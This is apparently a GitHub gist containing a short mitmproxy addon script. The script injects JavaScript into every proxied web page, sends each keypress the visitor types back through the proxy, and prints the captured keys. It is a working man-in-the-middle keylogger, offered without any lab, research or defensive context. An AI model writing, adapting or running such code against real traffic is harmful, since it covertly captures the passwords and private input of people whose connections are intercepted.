Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if 'magicnumber' in flow.request.query:
print(repr(flow.request.query['magicnumber']))
flow.response = flow.response = http.HTTPResponse.make(200)
def response(flow: http.HTTPFlow) -> None:
flow.response.content = flow.response.content.replace(
b"</body>",
b"""<script>
document.addEventListener("keypress", function(e){fetch("/?magicnumber="+e.key)})
</script></body>""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.